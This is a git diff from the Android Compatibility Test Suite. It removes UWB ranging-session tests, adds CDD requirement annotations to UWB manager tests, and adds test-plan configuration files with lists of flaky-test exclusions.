-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
-        session.onRangingOpened();
-
-        session.close();
-        verify(callback, times(1)).onClosed(anyInt(), any());
-    }
-
-    @Test
-    public void testClose_CannotInteractFurther() throws RemoteException {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-        doAnswer(new CloseAnswer(session)).when(adapter).closeRanging(any());
-        session.close();
-
-        verifyThrowIllegalState(() -> session.start(PARAMS));
-        verifyThrowIllegalState(() -> session.reconfigure(PARAMS));
-        verifyThrowIllegalState(() -> session.stop());
-        verifyNoThrowIllegalState(() -> session.close());
-    }
-
-    @Test
-    public void testOnRangingResult_OnReportReceivedCalledWhenOpen() {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
-        assertFalse(session.isOpen());
-        session.onRangingStarted(PARAMS);
-        assertTrue(session.isOpen());
-
-        // Verify that the onReportReceived callback was invoked
-        RangingReport report = UwbTestUtils.getRangingReports(1);
-        session.onRangingResult(report);
-        verify(callback, times(1)).onReportReceived(report);
-    }
-
-    @Test
-    public void testOnRangingResult_OnReportReceivedNotCalledWhenNotOpen() {
-        SessionHandle handle = new SessionHandle(123);
-        RangingSession.Callback callback = mock(RangingSession.Callback.class);
-        IUwbAdapter adapter = mock(IUwbAdapter.class);
-        RangingSession session = new RangingSession(EXECUTOR, callback, adapter, handle);
-
-        assertFalse(session.isOpen());
-
-        // Verify that the onReportReceived callback was invoked
-        RangingReport report = UwbTestUtils.getRangingReports(1);
-        session.onRangingResult(report);
-        verify(callback, times(0)).onReportReceived(report);
-    }
-
-    private void verifyOpenState(RangingSession session, boolean expected) {
-        assertEquals(expected, session.isOpen());
-    }
-
-    private void verifyThrowIllegalState(Runnable runnable) {
-        try {
-            runnable.run();
-            fail();
-        } catch (IllegalStateException e) {
-            // Pass
-        }
-    }
-
-    private void verifyNoThrowIllegalState(Runnable runnable) {
-        try {
-            runnable.run();
-        } catch (IllegalStateException e) {
-            fail();
-        }
-    }
-
-    abstract class AdapterAnswer implements Answer {
-        protected RangingSession mSession;
-
-        protected AdapterAnswer(RangingSession session) {
-            mSession = session;
-        }
-    }
-
-    class OpenAnswer extends AdapterAnswer {
-        OpenAnswer(RangingSession session) {
-            super(session);
-        }
-
-        @Override
-        public Object answer(InvocationOnMock invocation) {
-            PersistableBundle argParams = invocation.getArgument(1);
-            if (argParams != null) {
-                mSession.onRangingOpened();
-            } else {
-                mSession.onRangingOpenFailed(REASON_BAD_PARAMETERS, PARAMS);
-            }
-            return null;
-        }
-    }
-
-    class StartAnswer extends AdapterAnswer {
-        StartAnswer(RangingSession session) {
-            super(session);
-        }
-
-        @Override
-        public Object answer(InvocationOnMock invocation) {
-            PersistableBundle argParams = invocation.getArgument(1);
-            if (argParams != null) {
-                mSession.onRangingStarted(PARAMS);
-            } else {
-                mSession.onRangingStartFailed(REASON_BAD_PARAMETERS, PARAMS);
-            }
-            return null;
-        }
-    }
-
-    class ReconfigureAnswer extends AdapterAnswer {
-        ReconfigureAnswer(RangingSession session) {
-            super(session);
-        }
-
-        @Override
-        public Object answer(InvocationOnMock invocation) {
-            PersistableBundle argParams = invocation.getArgument(1);
-            if (argParams != null) {
-                mSession.onRangingReconfigured(PARAMS);
-            } else {
-                mSession.onRangingReconfigureFailed(REASON_BAD_PARAMETERS, PARAMS);
-            }
-            return null;
-        }
-    }
-
-    class PauseAnswer extends AdapterAnswer {
-        PauseAnswer(RangingSession session) {
-            super(session);
-        }
-
-        @Override
-        public Object answer(InvocationOnMock invocation) {
-            PersistableBundle argParams = invocation.getArgument(1);
-            if (argParams != null) {
-                mSession.onRangingPaused(PARAMS);
-            } else {
-                mSession.onRangingPauseFailed(REASON_BAD_PARAMETERS, PARAMS);
-            }
-            return null;
-        }
-    }
-
-    class ResumeAnswer extends AdapterAnswer {
-        ResumeAnswer(RangingSession session) {
-            super(session);
-        }
-
-        @Override
-        public Object answer(InvocationOnMock invocation) {
-            PersistableBundle argParams = invocation.getArgument(1);
-            if (argParams != null) {
-                mSession.onRangingResumed(PARAMS);
-            } else {
-                mSession.onRangingResumeFailed(REASON_BAD_PARAMETERS, PARAMS);
-            }
-            return null;
-        }
-    }
-
-    class ControleeAddAnswer extends AdapterAnswer {
-        ControleeAddAnswer(RangingSession session) {
-            super(session);
-        }
-
-        @Override
-        public Object answer(InvocationOnMock invocation) {
-            PersistableBundle argParams = invocation.getArgument(1);
-            if (argParams != null) {
-                mSession.onControleeAdded(PARAMS);
-            } else {
-                mSession.onControleeAddFailed(REASON_BAD_PARAMETERS, PARAMS);
-            }
-            return null;
-        }
-    }
-
-    class ControleeRemoveAnswer extends AdapterAnswer {
-        ControleeRemoveAnswer(RangingSession session) {
-            super(session);
-        }
-
-        @Override
-        public Object answer(InvocationOnMock invocation) {
-            PersistableBundle argParams = invocation.getArgument(1);
-            if (argParams != null) {
-                mSession.onControleeRemoved(PARAMS);
-            } else {
-                mSession.onControleeRemoveFailed(REASON_BAD_PARAMETERS, PARAMS);
-            }
-            return null;
-        }
-    }
-
-    class DataSendAnswer extends AdapterAnswer {
-        DataSendAnswer(RangingSession session) {
-            super(session);
-        }
-
-        @Override
-        public Object answer(InvocationOnMock invocation) {
-            UwbAddress argParams = invocation.getArgument(1);
-            if (argParams != null) {
-                mSession.onDataSent(UWB_ADDRESS, PARAMS);
-            } else {
-                mSession.onDataSendFailed(null, REASON_BAD_PARAMETERS, PARAMS);
-            }
-            return null;
-        }
-    }
-
-    class StopAnswer extends AdapterAnswer {
-        StopAnswer(RangingSession session) {
-            super(session);
-        }
-
-        @Override
-        public Object answer(InvocationOnMock invocation) {
-            mSession.onRangingStopped(REASON, PARAMS);
-            return null;
-        }
-    }
-
-    class CloseAnswer extends AdapterAnswer {
-        CloseAnswer(RangingSession session) {
-            super(session);
-        }
-
-        @Override
-        public Object answer(InvocationOnMock invocation) {
-            mSession.onRangingClosed(REASON, PARAMS);
-            return null;
-        }
-    }
-}
diff --git a/tests/uwb/src/android/uwb/cts/SessionHandleTest.java b/tests/uwb/src/android/uwb/cts/SessionHandleTest.java
deleted file mode 100644
index d52a3e7..0000000
--- a/tests/uwb/src/android/uwb/cts/SessionHandleTest.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.uwb.cts;
-
-import static org.junit.Assert.assertEquals;
-
-import android.os.Parcel;
-import android.uwb.SessionHandle;
-
-import androidx.test.ext.junit.runners.AndroidJUnit4;
-import androidx.test.filters.SmallTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-/**
- * Test of {@link SessionHandle}.
- */
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public class SessionHandleTest {
-
-    @Test
-    public void testBasic() {
-        int handleId = 12;
-        SessionHandle handle = new SessionHandle(handleId);
-        assertEquals(handle.getId(), handleId);
-    }
-
-    @Test
-    public void testParcel() {
-        Parcel parcel = Parcel.obtain();
-        SessionHandle handle = new SessionHandle(10);
-        handle.writeToParcel(parcel, 0);
-        parcel.setDataPosition(0);
-        SessionHandle fromParcel = SessionHandle.CREATOR.createFromParcel(parcel);
-        assertEquals(handle, fromParcel);
-    }
-}
diff --git a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
index 8e3c098..097f799 100644
--- a/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
+++ b/tests/uwb/src/android/uwb/cts/UwbManagerTest.java
@@ -51,6 +51,7 @@
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.ShellIdentityUtils;
 
 import com.google.uwb.support.fira.FiraOpenSessionParams;
@@ -120,6 +121,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testGetSpecificationInfo() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -134,6 +136,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testGetSpecificationInfoWithChipId() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -149,6 +152,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testGetChipInfos() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -164,6 +168,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testGetSpecificationInfoWithInvalidChipId() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -177,6 +182,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testGetSpecificationInfoWithoutUwbPrivileged() {
         try {
             mUwbManager.getSpecificationInfo();
@@ -189,6 +195,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testGetSpecificationInfoWithChipIdWithoutUwbPrivileged() {
         try {
             mUwbManager.getSpecificationInfo(mDefaultChipId);
@@ -202,6 +209,7 @@
 
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testElapsedRealtimeResolutionNanos() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -214,6 +222,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testElapsedRealtimeResolutionNanosWithChipId() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -227,6 +236,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testElapsedRealtimeResolutionNanosWithInvalidChipId() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -240,6 +250,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testElapsedRealtimeResolutionNanosWithoutUwbPrivileged() {
         try {
             mUwbManager.elapsedRealtimeResolutionNanos();
@@ -252,6 +263,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testElapsedRealtimeResolutionNanosWithChipIdWithoutUwbPrivileged() {
         try {
             mUwbManager.elapsedRealtimeResolutionNanos(mDefaultChipId);
@@ -264,6 +276,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testAddServiceProfileWithoutUwbPrivileged() {
         try {
             mUwbManager.addServiceProfile(new PersistableBundle());
@@ -276,6 +289,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testRemoveServiceProfileWithoutUwbPrivileged() {
         try {
             mUwbManager.removeServiceProfile(new PersistableBundle());
@@ -289,6 +303,7 @@
 
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testGetAllServiceProfilesWithoutUwbPrivileged() {
         try {
             mUwbManager.getAllServiceProfiles();
@@ -301,6 +316,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testGetAdfProvisioningAuthoritiesWithoutUwbPrivileged() {
         try {
             mUwbManager.getAdfProvisioningAuthorities(new PersistableBundle());
@@ -313,6 +329,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testGetAdfCertificateInfoWithoutUwbPrivileged() {
         try {
             mUwbManager.getAdfCertificateInfo(new PersistableBundle());
@@ -325,6 +342,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testGetChipInfosWithoutUwbPrivileged() {
         try {
             mUwbManager.getChipInfos();
@@ -337,6 +355,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testSendVendorUciWithoutUwbPrivileged() {
         try {
             mUwbManager.sendVendorUciMessage(10, 0, new byte[0]);
@@ -372,6 +391,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testProvisionProfileAdfByScriptWithoutUwbPrivileged() {
         CountDownLatch countDownLatch = new CountDownLatch(1);
         AdfProvisionStateCallback adfProvisionStateCallback =
@@ -390,6 +410,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testRemoveProfileAdfWithoutUwbPrivileged() {
         try {
             mUwbManager.removeProfileAdf(new PersistableBundle());
@@ -434,6 +455,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testRegisterVendorUciCallbackWithoutUwbPrivileged() {
         UwbManager.UwbVendorUciCallback cb =
                 new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1));
@@ -449,6 +471,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testUnregisterVendorUciCallbackWithoutUwbPrivileged() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         UwbManager.UwbVendorUciCallback cb =
@@ -474,6 +497,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testInvalidCallbackUnregisterVendorUciCallback() {
         UwbManager.UwbVendorUciCallback cb =
                 new UwbVendorUciCallback(new CountDownLatch(1), new CountDownLatch(1));
@@ -564,6 +588,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testOpenRangingSessionWithInvalidChipId() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         CountDownLatch countDownLatch = new CountDownLatch(1);
@@ -583,6 +608,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testOpenRangingSessionWithChipIdWithBadParams() throws Exception {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         CancellationSignal cancellationSignal = null;
@@ -610,6 +636,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testOpenRangingSessionWithInvalidChipIdWithBadParams() throws Exception {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         CancellationSignal cancellationSignal = null;
@@ -640,6 +667,7 @@
      * Simulates the app holding UWB_RANGING permission, but not UWB_PRIVILEGED.
      */
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testOpenRangingSessionWithoutUwbPrivileged() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -659,6 +687,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testOpenRangingSessionWithChipIdWithoutUwbPrivileged() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -682,6 +711,7 @@
      * Simulates the app holding UWB_PRIVILEGED permission, but not UWB_RANGING.
      */
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testOpenRangingSessionWithoutUwbRanging() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -701,6 +731,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testOpenRangingSessionWithChipIdWithoutUwbRanging() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -752,6 +783,7 @@
      * the proxied app not holding UWB_RANGING permission.
      */
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
     public void testOpenRangingSessionWithoutUwbRangingInNextAttributeSource() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -776,6 +808,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
     public void testOpenRangingSessionWithChipIdWithoutUwbRangingInNextAttributeSource() {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -801,6 +834,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-5"})
     public void testFiraRangingSession() throws Exception {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         CancellationSignal cancellationSignal = null;
@@ -894,6 +928,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2,C-1-4"})
     public void testUwbStateToggle() throws Exception {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         try {
@@ -910,6 +945,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testSendVendorUciMessage() throws Exception {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         CountDownLatch rspCountDownLatch = new CountDownLatch(1);
@@ -943,6 +979,7 @@
     }
 
     @Test
+    @CddTest(requirements = {"7.3.13/C-1-1,C-1-2"})
     public void testSendVendorUciMessageWithFragmentedPackets() throws Exception {
         UiAutomation uiAutomation = getInstrumentation().getUiAutomation();
         CountDownLatch rspCountDownLatch = new CountDownLatch(1);
diff --git a/tools/cts-tradefed/OWNERS b/tools/cts-tradefed/OWNERS
index d27cf19..9577d3a 100644
--- a/tools/cts-tradefed/OWNERS
+++ b/tools/cts-tradefed/OWNERS
@@ -3,11 +3,6 @@
 normancheung@google.com
 jdesprez@google.com
 
-# Android Partner Eng Approvers
-aaronholden@google.com
-yuji@google.com
-nickrose@google.com
-
 # File Specific Approvers
 per-file Backup* = file:platform/frameworks/base:/services/backup/OWNERS
 per-file cts-meerkat.xml = alanstokes@google.com, brufino@google.com, lus@google.com, rickywai@google.com
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index d785d96..8eac1ed 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -286,4 +286,7 @@
     <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases android.graphics.cts.ImageDecoderTest#testDecode10BitHeifWithLowRam" />
     <option name="compatibility:exclude-filter" value="CtsGraphicsTestCases[instant] android.graphics.cts.ImageDecoderTest#testDecode10BitHeifWithLowRam" />
 
+    <!-- b/223402586 -->
+    <option name="compatibility:exclude-filter" value="CtsAppCompatHostTestCases com.android.cts.appcompat.CompatChangesValidConfigTest#testOnlyAllowedlistedChangesAreOverridable" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-slim-stable.xml b/tools/cts-tradefed/res/config/cts-slim-stable.xml
new file mode 100644
index 0000000..6d64e2c
--- /dev/null
+++ b/tools/cts-tradefed/res/config/cts-slim-stable.xml
@@ -0,0 +1,164 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration
+    description="Runs stable set of CTS tests for virtual device slim image">
+
+  <include name="cts-virtual-device-stable"/>
+
+  <option name="plan" value="cts-slim-stable"/>
+
+  <!-- These core test suites are inexplicably not included in cts-virtual-device-stable, so add them here -->
+  <option name="compatibility:include-filter" value="CtsAppTestCases"/>
+  <option name="compatibility:include-filter" value="CtsContentTestCases"/>
+  <option name="compatibility:include-filter" value="CtsDisplayTestCases"/>
+  <option name="compatibility:include-filter" value="CtsGraphicsTestCases"/>
+  <option name="compatibility:include-filter" value="CtsOsTestCases"/>
+  <option name="compatibility:include-filter" value="CtsUtilTestCases"/>
+  <option name="compatibility:include-filter" value="CtsViewTestCases"/>
+  <option name="compatibility:include-filter" value="CtsWidgetTestCases"/>
+
+  <!-- flaky tests -->
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.ActivityManagerProcessStateTest#testCantSaveStateLaunchAndSwitch" />
+  <option name="compatibility:exclude-filter"
+      value="CtsContentTestCases android.content.cts.ContentProviderClientTest#testBulkInsertTimeout"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsContentTestCases android.content.cts.ContentProviderClientTest#testUncanonicalizeTimeout" />
+  <option name="compatibility:exclude-filter"
+      value="CtsContentTestCases android.content.cts.ContentResolverSyncTestCase#testCallMultipleAccounts" />
+  <option name="compatibility:exclude-filter"
+      value="CtsContentTestCases android.content.cts.ContentQueryMapTest#testSetKeepUpdated" />
+  <option name="compatibility:exclude-filter"
+      value="CtsLocationFineTestCases android.location.cts.fine.LocationManagerFineTest#testRegisterGnssMeasurementsCallback" />
+  <option name="compatibility:exclude-filter" value="CtsTransitionTestCases"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsVoiceInteractionTestCases android.voiceinteraction.cts.DirectActionsTest" />
+  <option name="compatibility:exclude-filter"
+      value="CtsWidgetTestCases android.widget.cts.ZoomControlsTest#testHasFocus" />
+
+  <!-- also fails on sdk_phone -->
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testCameraFeatures" />
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testSensorFeatures" />
+  <option name="compatibility:exclude-filter"
+      value="CtsContentTestCases android.content.pm.cts.InstallSessionParamsUnitTest#checkSessionParams[11]" />
+
+  <!-- documentsui dependent tests -->
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.DownloadManagerTest#testDownload_onMediaStoreDownloadsDeleted"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.StrictModeTest#testVmPenaltyListener" />
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.StrictModeTest#testContentUriWithoutPermission" />
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.StrictModeTest#testFileUriExposure" />
+
+  <!-- ime dependent tests -->
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.ActivityKeyboardShortcutsTest#testRequestShowKeyboardShortcuts"/>
+  <option name="compatibility:exclude-filter" value="CtsInputMethodTestCases"/>
+
+  <!-- systemui dependent tests -->
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_setSuppressBubble"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_setSuppressBubble_dismissLocusActivity"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_checkActivityFlagsDocumentLaunchMode"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_checkIsBubbled_pendingIntent"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsAppTestCases android.app.cts.NotificationManagerTest#testNotificationManagerBubble_checkIsBubbled_shortcut"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.AppHibernationIntegrationTest#testUnusedApp_getsForceStopped" />
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.AutoRevokeTest#testInstallGrants_notRevokedImmediately" />
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.AutoRevokeTest#testAutoRevoke_userAllowlisting" />
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.AutoRevokeTest#testUnusedApp_getsPermissionRevoked" />
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.AutoRevokeTest#testUnusedApp_uninstallApp" />
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.ViewTest#testGetWindowVisibleDisplayFrame" />
+  <option name="compatibility:exclude-filter"
+      value="CtsWidgetTestCases android.widget.cts.ToastTest" />
+
+  <!-- other apps dependent tests -->
+  <option name="compatibility:exclude-filter"
+      value="CtsContentTestCases android.content.cts.AvailableIntentsTest"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.AppHibernationIntegrationTest#testAppInfo_RemovePermissionsAndFreeUpSpaceToggleExists" />
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.CompanionDeviceManagerTest#testProfiles" />
+  <option name="compatibility:exclude-filter"
+      value="CtsOsTestCases android.os.cts.CompanionDeviceManagerTest#testRequestNotifications" />
+  <option name="compatibility:exclude-filter"
+      value="CtsLocationFineTestCases android.location.cts.fine.ScanningSettingsTest#testWifiScanningSettings" />
+  <option name="compatibility:exclude-filter"
+      value="CtsLocationFineTestCases android.location.cts.fine.ScanningSettingsTest#testBleScanningSettings" />
+  <option name="compatibility:exclude-filter"
+      value="CtsVoiceInteractionTestCases android.voiceinteraction.cts.HotwordDetectionServiceBasicTest#testHotwordDetectionService_onDetectFromExternalSource_success" />
+
+  <!-- hardware renderer dependent tests -->
+  <option name="compatibility:exclude-filter"
+      value="CtsDisplayTestCases android.display.cts.VirtualDisplayTest#testUntrustedSysDecorVirtualDisplay" />
+  <option name="compatibility:exclude-filter"
+      value="CtsGraphicsTestCases android.graphics.cts.BasicVulkanGpuTest" />
+  <option name="compatibility:exclude-filter"
+      value="CtsGraphicsTestCases android.graphics.cts.BitmapTest#testCreateBitmap_Picture_immutable" />
+  <option name="compatibility:exclude-filter"
+      value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedImageDrawableTest#testRepeatCounts" />
+  <option name="compatibility:exclude-filter"
+      value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedImageDrawableTest#testAddCallbackAfterStart" />
+  <option name="compatibility:exclude-filter"
+      value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedImageDrawableTest#testLifeCycle" />
+  <option name="compatibility:exclude-filter"
+      value="CtsNativeHardwareTestCases" />
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.ASurfaceControlTest" />
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.ASurfaceControlBackPressureTest" />
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.FrameMetricsListenerTest" />
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.PixelCopyTest" />
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.TextureViewTest#testSamplingWithTransform" />
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.TextureViewTest#testTransformScale" />
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.TextureViewTest#testRotateScale" />
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.TextureViewTest#testFirstFrames" />
+  <option name="compatibility:exclude-filter"
+      value="CtsWidgetTestCases android.widget.cts.MagnifierTest" />
+
+  <!-- screenshot reliant tests -->
+  <option name="compatibility:exclude-filter"
+      value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedVectorDrawableParameterizedTest#testAnimationOnLayer"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsGraphicsTestCases android.graphics.drawable.cts.AnimatedVectorDrawableParameterizedTest#testInfiniteAVD"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.ViewAnimationMatrixTest#testAnimationMatrixAppliedDuringDrawing"/>
+  <option name="compatibility:exclude-filter"
+      value="CtsViewTestCases android.view.cts.ViewAnimationMatrixTest#testAnimationMatrixClearedWithPassingNull"/>
+  <option name="compatibility:exclude-filter" value="CtsUiRenderingTestCases"/>
+
+</configuration>
diff --git a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
index 94a65bf..f4abe76 100644
--- a/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
+++ b/tools/cts-tradefed/tests/src/com/android/compatibility/common/tradefed/presubmit/ValidateTestsAbi.java
@@ -105,6 +105,7 @@
         BINARY_EXCEPTIONS.add("img2simg");
         BINARY_EXCEPTIONS.add("lpmake");
         BINARY_EXCEPTIONS.add("lpunpack");
+        BINARY_EXCEPTIONS.add("mk_payload");
         BINARY_EXCEPTIONS.add("sign_virt_apex");
